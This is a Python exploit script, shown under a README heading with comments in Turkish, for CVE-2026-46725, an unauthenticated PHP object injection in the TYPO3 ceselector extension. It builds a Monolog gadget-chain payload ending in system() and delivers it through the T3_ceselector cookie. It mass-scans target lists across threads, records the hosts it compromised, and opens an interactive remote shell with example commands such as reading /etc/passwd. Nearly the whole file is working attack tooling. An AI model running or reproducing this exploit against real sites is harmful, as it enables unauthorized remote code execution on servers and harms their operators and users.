README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-46725 — TYPO3 ceselector Extension
Insecure Deserialization (PHP Object Injection) → RCE
CVSS 9.8 (Critical) | CWE-502
Author: DhiyaneshDk | Converted to Python
"""
import requests
import argparse
import re
import sys
import time
import shutil
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
requests.packages.urllib3.disable_warnings()
# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════
def tw():
return shutil.get_terminal_size((100, 24)).columns
class C:
G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
BL="\033[1m"; X="\033[0m"
BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
NOCOLOR = False
@classmethod
def fmt(cls, msg, *codes):
if cls.NOCOLOR: return str(msg)
return "".join(codes) + str(msg) + cls.X
@classmethod
def ok(cls, m): return cls.fmt(m, cls.G)
@classmethod
def err(cls, m): return cls.fmt(m, cls.R)
@classmethod
def warn(cls, m): return cls.fmt(m, cls.Y)
@classmethod
def dim(cls, m): return cls.fmt(m, cls.DM)
@classmethod
def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
@classmethod
def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
@classmethod
def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)
_lock = Lock()
_verbose = False
def out(msg="", end="\n"):
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
sys.stdout.flush()
def vout(msg):
if _verbose: out(msg)
def section(title, icon="◆"):
out()
out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
out(C.fmt(" " + "─" * min(52, tw()-4), C.DM))
def kv(k, v, vc=None):
out(C.fmt(f" · {k:<20}", C.DM) + C.fmt(str(v), vc or C.WH))
# ══════════════════════════════════════════════════
# PROGRESS / COUNTER BAR
# ══════════════════════════════════════════════════
class Bar:
def __init__(self, total, title="", color=None):
self.total = max(total, 1)
self.title = title
self.color = color or C.CY
self.current = 0
self.start = time.time()
self._lines = 0
def update(self, n, info=""):
self.current = n
w = tw()
bw = max(10, w - len(self.title) - 26)
pct = n / self.total
filled = int(bw * pct)
elapsed = time.time() - self.start + 0.001
rate = n / elapsed
eta = (self.total - n) / rate if rate > 0 else 0
bar = (C.fmt("█" * filled, self.color, C.BL) +
C.fmt("░" * (bw - filled), C.DM))
l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
f" [{bar}] " +
C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({n}/{self.total})", C.DM))
l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) +
f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
f" " + C.fmt(str(info)[:w-32], C.DM))
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(l1 + "\n" + l2 + "\n")
sys.stdout.flush()
self._lines = 2
def finish(self, msg=""):
bw = max(10, tw() - len(self.title) - 26)
elapsed = time.time() - self.start
rate = self.current / (elapsed + 0.001)
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
C.fmt("100.0%", C.BL, C.G) +
C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
C.fmt(" ✓ ", C.G, C.BL) +
C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
self._lines = 0
class CounterBar:
def __init__(self, total, title="Scan"):
self.total = max(total, 1)
self.title = title
self.n = 0
self.start = time.time()
def inc(self, info=""):
with _lock:
self.n += 1
elapsed = time.time() - self.start + 0.001
rate = self.n / elapsed
eta = (self.total - self.n) / rate if rate > 0 else 0
line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {rate:.1f}/s", C.G) +
C.fmt(f" ETA {eta:.0f}s", C.Y) +
C.fmt(f" {str(info)[:45]}", C.DM))
sys.stdout.write("\r" + " " * tw() + "\r" + line)
sys.stdout.flush()
def finish(self, msg=""):
elapsed = time.time() - self.start
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
C.fmt(" TAMAMLANDI", C.BL, C.G) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {elapsed:.1f}s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════
def print_banner():
out(C.fmt(r"""
████████╗██╗ ██╗██████╗ ██████╗ ██████╗
╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗
██║ ╚████╔╝ ██████╔╝██║ ██║ █████╔╝
██║ ╚██╔╝ ██╔═══╝ ██║ ██║ ╚═══██╗
██║ ██║ ██║ ╚██████╔╝██████╔╝
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝
""", C.CY, C.BL))
out(C.fmt(" CVE-2026-46725", C.BL, C.R) +
C.fmt(" TYPO3 ceselector Extension ", C.DM) +
C.badge_err("CVSS 9.8 CRITICAL"))
out(C.fmt(" Insecure Deserialization (PHP Object Injection) → RCE", C.DM))
out(C.fmt(" CWE-502 | Unauthenticated | No Privileges Required", C.DM))
out(C.fmt(" " + "─" * (tw()-4), C.DM))
out()
# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════
DEFAULT_UA = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
)
def make_session(timeout=15, proxy=None):
s = requests.Session()
s.verify = False
s.timeout = timeout
s.headers.update({
"User-Agent": DEFAULT_UA,
"Accept": "text/html,application/xhtml+xml,"
"application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
return s
def get_req(sess, url, **kw):
try:
return sess.get(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [GET ERR] {url} → {e}"))
return None
# ══════════════════════════════════════════════════
# PAYLOAD — PHP Serialize → URL-Encode
# Orijinal nuclei template ile birebir aynı yöntem
# Base64 YOK — saf PHP serialize + URL-encode
# ══════════════════════════════════════════════════
# NULL byte — PHP protected property prefix: \x00*\x00
NUL = "\x00"
def build_php_serialize(cmd="id"):
"""
Orijinal nuclei template payload'ını dinamik cmd ile üretir.
Yöntem:
1. PHP serialize string'i Python'da oluştur (NULL byte dahil)
2. urllib.parse.quote() ile URL-encode et
→ Orijinal template ile BİREBİR aynı sonuç
Gadget Chain:
GroupHandler → BufferHandler → LogRecord → system(cmd)
Orijinal template'deki sabit payload ("id" komutu):
s:5:"mixed";s:2:"id";
Dinamik hali:
s:5:"mixed";s:{len(cmd)}:"{cmd}";
"""
cmd_len = len(cmd)
php_obj = (
f'O:28:"Monolog\\Handler\\GroupHandler":1:{{'
f's:11:"{NUL}*{NUL}handlers";a:1:{{'
f'i:0;'
f'O:29:"Monolog\\Handler\\BufferHandler":6:{{'
f's:10:"{NUL}*{NUL}handler";r:3;'
f's:13:"{NUL}*{NUL}bufferSize";i:1;'
f's:14:"{NUL}*{NUL}bufferLimit";i:0;'
f's:9:"{NUL}*{NUL}buffer";a:1:{{'
f'i:0;'
f'O:17:"Monolog\\LogRecord":2:{{'
f's:5:"level";'
f'E:19:"Monolog\\Level:Debug";'
f's:5:"mixed";'
f's:{cmd_len}:"{cmd}";'
f'}}'
f'}}'
f's:14:"{NUL}*{NUL}initialized";b:1;'
f's:13:"{NUL}*{NUL}processors";a:3:{{'
f'i:0;s:15:"get_object_vars";'
f'i:1;s:3:"end";'
f'i:2;s:6:"system";'
f'}}'
f'}}'
f'}}'
f'}}'
)
# URL-encode — safe="" → tüm özel karakterler encode edilir
return urllib.parse.quote(php_obj, safe="")
def verify_payload_match():
"""
Geliştirici testi: build_php_serialize("id") orijinal
nuclei template payload ile aynı mı?
"""
# Orijinal nuclei template'deki URL-encoded payload
ORIGINAL = (
"O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B"
"s%3A11%3A%22%00%2A%00handlers%22%3Ba%3A1%3A%7B"
"i%3A0%3B"
"O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B"
"s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B"
"s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B"
"s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B"
"s%3A9%3A%22%00%2A%00buffer%22%3Ba%3A1%3A%7B"
"i%3A0%3B"
"O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B"
"s%3A5%3A%22level%22%3B"
"E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B"
"s%3A5%3A%22mixed%22%3B"
"s%3A2%3A%22id%22%3B"
"%7D%7D"
"s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B"
"s%3A13%3A%22%00%2A%00processors%22%3Ba%3A3%3A%7B"
"i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B"
"i%3A1%3Bs%3A3%3A%22end%22%3B"
"i%3A2%3Bs%3A6%3A%22system%22%3B"
"%7D%7D%7D%7D"
)
generated = build_php_serialize("id")
orig_dec = urllib.parse.unquote(ORIGINAL)
gen_dec = urllib.parse.unquote(generated)
if orig_dec == gen_dec:
out(C.ok(" [✓] Payload orijinal nuclei template ile AYNI"))
return True
else:
out(C.err(" [✗] Payload FARKLI — hata var!"))
for i, (a, b) in enumerate(zip(orig_dec, gen_dec)):
if a != b:
out(C.warn(f" Fark pos={i} "
f"orig={repr(a)} gen={repr(b)}"))
out(C.dim(f" Bağlam orig: "
f"{repr(orig_dec[max(0,i-15):i+15])}"))
out(C.dim(f" Bağlam gen : "
f"{repr(gen_dec[max(0,i-15):i+15])}"))
break
if len(orig_dec) != len(gen_dec):
out(C.warn(f" Uzunluk: orig={len(orig_dec)} "
f"gen={len(gen_dec)}"))
return False
# ══════════════════════════════════════════════════
# TYPO3 & CESELECTOR TESPİT
# Orijinal flow: http(1) → T3_ceselector_ cookie var mı?
# ══════════════════════════════════════════════════
def detect_ceselector(sess, base_url):
"""
Orijinal nuclei template http(1) adımı:
GET /
matcher: contains(header, "T3_ceselector_")
extractor: Set-Cookie header'ından T3_ceselector_\\d+ adını çıkar
"""
result = {
"typo3": False,
"ceselector": False,
"cookie_name": None,
"version": None,
}
# ── GET / ─────────────────────────────────────
r = get_req(sess, base_url)
if not r:
return result
# ── TYPO3 genel sinyalleri ────────────────────
typo3_signals = [
r'typo3', r'TYPO3', r'T3_ceselector',
r'typo3conf', r'typo3temp', r'tx_ceselector',
]
for sig in typo3_signals:
if re.search(sig, r.text, re.I):
result["typo3"] = True
vout(C.dim(f" [detect] TYPO3 sinyal: {sig}"))
break
# ── Orijinal matcher: contains(header, "T3_ceselector_") ──
# requests.Response.headers tek satır dict — raw headers dene
cookie_name = None
# 1) response.cookies üzerinden
for cname in r.cookies.keys():
if re.match(r'T3_ceselector_\d+', cname, re.I):
cookie_name = cname
vout(C.dim(f" [detect] Cookie (cookies): {cname}"))
break
# 2) raw headers üzerinden (urllib3)
if not cookie_name:
try:
for hname, hval in r.raw.headers.items():
if hname.lower() == "set-cookie":
m = re.search(
r'(T3_ceselector_\d+)=',
hval, re.I
)
if m:
cookie_name = m.group(1)
vout(C.dim(
f" [detect] Cookie (raw): {cookie_name}"
))
break
except Exception:
pass
# 3) response.headers string üzerinden fallback
if not cookie_name:
headers_str = str(r.headers)
m = re.search(r'(T3_ceselector_\d+)=', headers_str, re.I)
if m:
cookie_name = m.group(1)
vout(C.dim(f" [detect] Cookie (str): {cookie_name}"))
if cookie_name:
result["ceselector"] = True
result["cookie_name"] = cookie_name
result["typo3"] = True
# ── TYPO3 sürümü ─────────────────────────────
for vp in [r'TYPO3\s+CMS\s+([\d.]+)',
r'typo3/([\d.]+)',
r'"version"\s*:\s*"([\d.]+)"']:
vm = re.search(vp, r.text, re.I)
if vm:
result["version"] = vm.group(1)
break
return result
# ══════════════════════════════════════════════════
# RCE ÇIKTISI DOĞRULA
# Orijinal matcher:
# status_code == 200
# regex("uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=...", body)
# ══════════════════════════════════════════════════
# Orijinal extractor regex
RCE_REGEX = re.compile(
r'uid=\d+\([a-zA-Z0-9_-]+\)\s+gid=\d+\([a-zA-Z0-9_-]+\)[^\n]*'
)
# Orijinal matcher regex (daha katı)
RCE_MATCHER = re.compile(
r'uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=\d+\([a-z_][a-z0-9_-]*\)'
)
# Komuta özel ek pattern'ler
EXTRA_PATTERNS = {
"whoami": re.compile(r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$', re.M),
"uname -a": re.compile(r'Linux\s+\S+\s+\d+\.\d+\.\d+'),
"uname": re.compile(r'(?:Linux|Darwin|FreeBSD)\s+\S+'),
"pwd": re.compile(r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$', re.M),
"cat /etc/passwd": re.compile(r'root:x:0:0:root'),
"ls": re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'),
"ls -la": re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'),
"ps aux": re.compile(r'(?:USER\s+PID|root\s+\d+)'),
"env": re.compile(r'(?:^|\n)(?:PATH|HOME|USER|SHELL)='),
"phpinfo": re.compile(r'PHP Version \d+\.\d+\.\d+'),
}
FALSE_POSITIVES = [
r'XML-RPC', r'POST requests only',
r'<!DOCTYPE html', r'<html',
r'Error\s+40[34]', r'Not Found',
r'Forbidden', r'Access Denied',
]
def extract_rce_output(body, cmd="id", status_code=200):
"""
Orijinal nuclei template matcher/extractor mantığı:
1. status_code == 200
2. regex(uid=..., body) eşleşmeli
"""
# Orijinal matcher koşul 1
if status_code != 200:
vout(C.dim(f" [extract] status={status_code} != 200"))
return None
# False positive filtresi
for fp in FALSE_POSITIVES:
if re.search(fp, body, re.I):
vout(C.dim(f" [extract] false positive: {fp}"))
return None
# Orijinal matcher koşul 2 — id komutu için
if cmd.strip().lower() == "id":
m = RCE_REGEX.search(body)
if m:
return m.group(0).strip()
return None
# Diğer komutlar için ek pattern
pat = EXTRA_PATTERNS.get(cmd.strip().lower())
if pat:
m = pat.search(body)
if m:
return m.group(0).strip()
# Genel fallback — HTML temizlenmiş body'den çıktı al
clean = re.sub(r'<[^>]+>', '', body)
clean = re.sub(r'&[a-z]+;', ' ', clean)
clean = re.sub(r'\s+', ' ', clean).strip()
# En azından uid= içeriyorsa kabul et
if re.search(r'uid=\d+', clean):
return clean[:300]
return None
# ══════════════════════════════════════════════════
# TEK HEDEF EXPLOIT
# Orijinal flow: http(1) && http(2)
# ══════════════════════════════════════════════════
def exploit_single(sess, base_url, cmd="id",
silent=False, timeout=15):
url = base_url.rstrip("/")
if not url.startswith("http"):
url = "http://" + url
# ── http(1): Tespit & Cookie Al ───────────────
if not silent:
section("TYPO3 & ceselector Tespit [http/1]", "①")
info = detect_ceselector(sess, url)
if not silent:
kv("TYPO3",
C.ok("✓ Tespit edildi") if info["typo3"]
else C.err("✗ Bulunamadı"))
kv("ceselector Cookie",
C.ok(f"✓ {info['cookie_name']}") if info["ceselector"]
else C.err("✗ T3_ceselector_* yok"))
if info["version"]:
kv("TYPO3 Sürüm", info["version"], C.DM)
# http(1) matcher başarısız → dur
if not info["typo3"]:
return {"ok": False, "reason": "typo3_not_found", "url": url}
if not info["ceselector"]:
return {
"ok": False,
"reason": "ceselector_cookie_not_found",
"url": url,
}
cookie_name = info["cookie_name"]
# ── http(2): Payload Hazırla ──────────────────
if not silent:
section("Payload [http/2]", "②")
kv("Yöntem", "PHP serialize → URL-encode", C.Y)
kv("Gadget", "Monolog\\Handler\\GroupHandler", C.DM)
kv("Sink", "system()", C.R)
kv("Komut", cmd, C.CY)
out()
payload = build_php_serialize(cmd)
vout(C.dim(f" [payload] {urllib.parse.unquote(payload)[:120]}"))
vout(C.dim(f" [encoded] {payload[:80]}..."))
# ── http(2): İstek Gönder ─────────────────────
if not silent:
section("Exploit İsteği Gönderiliyor", "③")
headers = {
"User-Agent": DEFAULT_UA,
"Accept": "text/html,application/xhtml+xml,"
"application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
# Orijinal template: Cookie: {{ceselector_cookie}}=<payload>
"Cookie": f"{cookie_name}={payload}",
}
vout(C.dim(f" [request] GET {url}"))
vout(C.dim(f" [cookie] {cookie_name}=<payload>"))
r = get_req(sess, url, headers=headers)
if not r:
return {"ok": False, "reason": "request_failed", "url": url}
vout(C.dim(f" [response] HTTP {r.status_code} "
f"len={len(r.text)}"))
if not silent:
kv("HTTP Status",
r.status_code,
C.G if r.status_code == 200 else C.R)
# ── http(2): Matcher & Extractor ─────────────
if not silent:
section("RCE Çıktısı", "④")
output = extract_rce_output(r.text, cmd, r.status_code)
if output:
if not silent:
out(C.fmt(" ┌─ RCE ÇIKTISI ", C.G, C.BL) +
C.fmt("─" * 36, C.G))
for line in output.splitlines()[:15]:
out(C.fmt(" │ ", C.G) +
C.fmt(line, C.WH, C.BL))
out(C.fmt(" └" + "─" * 46, C.G))
out()
kv("Cookie", cookie_name, C.DM)
kv("Komut", cmd, C.CY)
kv("Çıktı", output[:80], C.G)
return {
"ok": True,
"output": output,
"url": url,
"cookie_name": cookie_name,
"cmd": cmd,
"version": info.get("version"),
}
if not silent:
out(C.err(" ✗ RCE çıktısı alınamadı"))
out(C.dim(f" · HTTP Status : {r.status_code}"))
out(C.dim(f" · Ham yanıt : {r.text[:300]}"))
return {
"ok": False,
"reason": "no_rce_output",
"url": url,
"status": r.status_code,
"raw": r.text[:300],
}
# ══════════════════════════════════════════════════
# TOPLU TARAMA
# ══════════════════════════════════════════════════
def bulk_scan(targets, cmd="id", threads=10,
timeout=15, proxy=None):
total = len(targets)
results = []
bar = CounterBar(total, "Tarama")
r_lock = Lock()
def worker(target):
url = target.strip()
if not url:
return
if not url.startswith("http"):
url = "http://" + url
sess = make_session(timeout=timeout, proxy=proxy)
res = exploit_single(
sess, url,
cmd = cmd,
silent = True,
timeout = timeout,
)
if res.get("ok"):
with r_lock:
results.append(res)
out(C.fmt("\n " + "═" * 64, C.G))
out(C.ok(f" ✓ RCE ALINDI → {url}"))
out(C.fmt(f" · Sürüm : "
f"{res.get('version','?')}", C.DM))
out(C.fmt(f" · Cookie : "
f"{res.get('cookie_name','')}", C.CY))
out(C.fmt(f" · Çıktı : "
f"{res.get('output','')[:120]}", C.WH))
out(C.fmt(" " + "═" * 64 + "\n", C.G))
tag = C.ok(f"✓ RCE {url}")
elif res.get("reason") == "typo3_not_found":
tag = C.dim(f"– typo3 yok {url}")
elif res.get("reason") == "ceselector_cookie_not_found":
tag = C.dim(f"– ceselector yok {url}")
elif res.get("reason") == "no_rce_output":
tag = C.warn(f"? cookie var / RCE yok {url}")
else:
tag = C.err(f"✗ başarısız {url}")
bar.inc(tag)
with ThreadPoolExecutor(max_workers=threads) as ex:
futs = {ex.submit(worker, t): t for t in targets}
try:
for f in as_completed(futs):
f.result()
except KeyboardInterrupt:
out(C.warn("\n [!] Kullanıcı durdurdu."))
bar.finish(f"{len(results)} RCE bulundu")
return results
# ══════════════════════════════════════════════════
# KAYDET
# ══════════════════════════════════════════════════
def save_results(results, outfile=None):
if not results:
return
if not outfile:
outfile = f"typo3_ceselector_{int(time.time())}.txt"
lines = [
"=" * 60,
"CVE-2026-46725 — TYPO3 ceselector RCE",
f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}",
"=" * 60,
"",
f"[+] RCE ALINAN HEDEFLER ({len(results)})",
"-" * 40,
]
for res in results:
lines += [
f"URL : {res.get('url','')}",
f"Sürüm : {res.get('version','?')}",
f"Cookie : {res.get('cookie_name','')}",
f"Komut : {res.get('cmd','')}",
f"Çıktı : {res.get('output','')[:400]}",
"",
]
try:
with open(outfile, "w", encoding="utf-8") as f:
f.write("\n".join(lines))
out(C.ok(f"\n ✓ Sonuçlar kaydedildi → {outfile}"))
except Exception as e:
out(C.err(f" ✗ Kayıt hatası: {e}"))
# ══════════════════════════════════════════════════
# İNTERAKTİF SHELL
# ══════════════════════════════════════════════════
def interactive_shell(sess, base_url, cookie_name):
out()
out(C.fmt(" ╔══════════════════════════════════════════╗", C.G, C.BL))
out(C.fmt(" ║ İnteraktif Shell Açıldı ║", C.G, C.BL))
out(C.fmt(" ║ Çıkmak için: exit / quit / Ctrl+C ║", C.G, C.BL))
out(C.fmt(" ╚══════════════════════════════════════════╝", C.G, C.BL))
out()
# Başlangıç bilgileri
for init_cmd in ["id", "uname -a", "pwd"]:
payload = build_php_serialize(init_cmd)
headers = {
"User-Agent": DEFAULT_UA,
"Cookie": f"{cookie_name}={payload}",
"Connection": "close",
}
r = get_req(sess, base_url, headers=headers)
if r and r.status_code == 200:
out_text = extract_rce_output(r.text, init_cmd, r.status_code)
if out_text:
first = out_text.splitlines()[0]
kv(init_cmd, first, C.CY)
out()
history = []
while True:
try:
prompt = (C.fmt(" typo3", C.G, C.BL) +
C.fmt("@", C.DM) +
C.fmt("ceselector", C.R, C.BL) +
C.fmt(" $ ", C.WH, C.BL))
cmd = input(prompt).strip()
except (KeyboardInterrupt, EOFError):
out(C.warn("\n [!] Shell kapatıldı."))
break
if not cmd:
continue
if cmd.lower() in ("exit", "quit", "q"):
out(C.dim(" [*] Çıkılıyor..."))
break
if cmd.lower() == "history":
for i, h in enumerate(history, 1):
out(C.dim(f" {i:3} {h}"))
continue
if cmd.lower() == "help":
out(C.dim(" Komutlar : exit, quit, history, help"))
out(C.dim(" OS komut : id, whoami, uname -a, pwd, "
"cat /etc/passwd, ls -la ..."))
continue
history.append(cmd)
payload = build_php_serialize(cmd)
headers = {
"User-Agent": DEFAULT_UA,
"Cookie": f"{cookie_name}={payload}",
"Connection": "close",
}
r = get_req(sess, base_url, headers=headers)
if not r:
out(C.err(" ✗ İstek başarısız"))
continue
# False positive kontrolü
fp_found = False
for fp in FALSE_POSITIVES:
if re.search(fp, r.text, re.I):
out(C.err(f" ✗ Geçersiz yanıt"))
fp_found = True
break
if fp_found:
continue
# HTML temizle ve çıktıyı göster
clean = re.sub(r'<[^>]+>', '', r.text)
clean = re.sub(r'&[a-z]+;', ' ', clean)
clean = re.sub(r'\s+', '\n', clean).strip()
lines_out = [l for l in clean.splitlines() if l.strip()]
if lines_out:
for line in lines_out[:25]:
out(C.fmt(" │ ", C.G) + line)
else:
out(C.dim(" (boş çıktı)"))
# ══════════════════════════════════════════════════
# ARG PARSER
# ══════════════════════════════════════════════════
def build_parser():
p = argparse.ArgumentParser(
prog="CVE-2026-46725",
description=(
"TYPO3 ceselector Extension — Insecure Deserialization RCE\n"
"PHP Object Injection via unserialize() cookie bypass\n"
"CVSS 9.8 Critical | CWE-502 | Unauthenticated"
),
formatter_class=argparse.RawTextHelpFormatter,
epilog="""
Örnekler:
Tek hedef:
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
Toplu tarama:
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
python CVE-2026-46725.py -l targets.txt -t 30
Payload doğrulama:
python CVE-2026-46725.py --verify-payload
""",
)
g1 = p.add_argument_group("Hedef")
mx = g1.add_mutually_exclusive_group(required=False)
mx.add_argument("-u", "--url", metavar="URL",
help="Tek hedef URL")
mx.add_argument("-l", "--list", metavar="FILE",
help="Hedef listesi (satır başı URL)")
mx.add_argument("--verify-payload",
action="store_true",
help="Payload orijinal ile aynı mı kontrol et")
g2 = p.add_argument_group("Exploit")
g2.add_argument("-c", "--cmd",
default="id", metavar="CMD",
help="Çalıştırılacak OS komutu (varsayılan: id)")
g2.add_argument("-i", "--interactive",
action="store_true",
help="Başarılı exploit sonrası interaktif shell aç")
g3 = p.add_argument_group("Tarama")
g3.add_argument("-t", "--threads",
type=int, default=10, metavar="N",
help="Thread sayısı (varsayılan: 10)")
g3.add_argument("--timeout",
type=int, default=15, metavar="S",
help="Timeout saniye (varsayılan: 15)")
g3.add_argument("--proxy",
metavar="URL",
help="Proxy (örn: http://127.0.0.1:8080)")
g4 = p.add_argument_group("Çıktı")
g4.add_argument("-o", "--output",
metavar="FILE",
help="Sonuç dosyası")
g4.add_argument("-v", "--verbose",
action="store_true",
help="Ayrıntılı çıktı")
g4.add_argument("--no-color",
action="store_true",
help="Renksiz çıktı")
return p
# ══════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════
def main():
global _verbose
parser = build_parser()
args = parser.parse_args()
if args.no_color:
C.NOCOLOR = True
if args.verbose:
_verbose = True
print_banner()
# ── Payload doğrulama modu ────────────────────
if args.verify_payload:
section("Payload Doğrulama", "✦")
verify_payload_match()
return
# Hedef zorunlu
if not args.url and not args.list:
parser.print_help()
sys.exit(1)
# ── Toplu tarama ──────────────────────────────
if args.list:
try:
with open(args.list, encoding="utf-8") as f:
targets = [l.strip() for l in f if l.strip()]
except FileNotFoundError:
out(C.err(f" ✗ Dosya bulunamadı: {args.list}"))
sys.exit(1)
section("Toplu Tarama", "▶")
kv("Liste", args.list, C.DM)
kv("Hedef", len(targets), C.WH)
kv("Thread", args.threads, C.DM)
kv("Komut", args.cmd, C.CY)
out()
results = bulk_scan(
targets,
cmd = args.cmd,
threads = args.threads,
timeout = args.timeout,
proxy = args.proxy,
)
save_results(results, args.output)
out()
out(C.fmt(" ╔══ ÖZET ════════════════════════════════╗", C.G, C.BL))
out(C.fmt(f" ║ Toplam Hedef : {len(targets):<23}║", C.WH))
out(C.fmt(f" ║ RCE Alınan : {len(results):<23}║", C.G))
out(C.fmt(" ╠════════════════════════════════════════╣", C.G, C.BL))
for res in results:
out(C.fmt(f" ║ ✓ {res['url'][:37]:<37}║", C.G))
out(C.fmt(" ╚════════════════════════════════════════╝", C.G, C.BL))
return
# ── Tek hedef ─────────────────────────────────
url = args.url.rstrip("/")
if not url.startswith("http"):
url = "http://" + url
section("Hedef", "▶")
kv("URL", url, C.CY)
kv("Komut", args.cmd, C.DM)
out()
sess = make_session(timeout=args.timeout, proxy=args.proxy)
result = exploit_single(
sess, url,
cmd = args.cmd,
silent = False,
timeout = args.timeout,
)
if result.get("ok"):
save_results([result], outfile=args.output)
if args.interactive:
try:
interactive_shell(sess, url, result["cookie_name"])
except KeyboardInterrupt:
out(C.warn("\n [!] Shell kapatıldı."))
else:
try:
ans = input(C.warn(
"\n [?] İnteraktif shell aç? (y/n): "
)).strip().lower()
if ans == "y":
interactive_shell(sess, url, result["cookie_name"])
except (KeyboardInterrupt, EOFError):
pass
else:
reason = result.get("reason", "?")
out(C.fmt("\n ✗ Exploit başarısız.", C.R))
kv("Sebep", reason, C.DM)
out()
out(C.warn(" Öneriler:"))
out(C.dim(" 1. Hedefte TYPO3 kurulu ve ceselector aktif olmalı"))
out(C.dim(" 2. T3_ceselector_* cookie Set-Cookie'de görünmeli"))
out(C.dim(" 3. Persistent Mode: Static yapılandırma aktif olmalı"))
out(C.dim(" 4. -v verbose ile detay görün"))
out(C.dim(" 5. --proxy ile Burp Suite üzerinden izleyin"))
out(C.dim(" 6. --verify-payload ile payload kontrolü yapın"))
if __name__ == "__main__":
main()